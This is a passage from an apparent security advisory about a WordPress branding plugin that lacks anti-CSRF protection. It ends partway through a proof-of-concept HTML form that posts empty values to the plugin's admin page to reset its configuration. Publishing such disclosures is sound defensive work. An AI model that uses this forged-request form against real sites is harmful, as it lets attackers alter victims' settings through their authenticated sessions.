5. VULNERABILITY DETAILS
========================
The WordPress plugin lacks an anti-CSRF protection on all of its functionalities, which
ultimately allows an attacker to (amongst others):
- Set custom brandings
- Enable/Disable BeCustom features
- Modify the WP Login view
- Modify the BeDashboard texts
Since there is no anti-CSRF token protecting these functionalities, they are
vulnerable to Cross-Site Request Forgery attacks allowing an attacker to perform
a variety of attacks as mentioned above.
To successfully exploit this vulnerability, a user with the right to access the
plugin must be tricked into visiting an arbitrary website while having an authenticated
session in the application.
6. PROOF OF CONCEPT
===================
An exemplary exploit to reset the plugin's configuration:
<html>
<body>
<form action="http://localhost/wp-admin/admin.php?page=be_custom_branding" method="POST">
<input type="hidden" name="betheme_label" value="" />
<input type="hidden" name="betheme_url_slug" value="" />
<input type="hidden" name="replaced_logo_url" value="" />
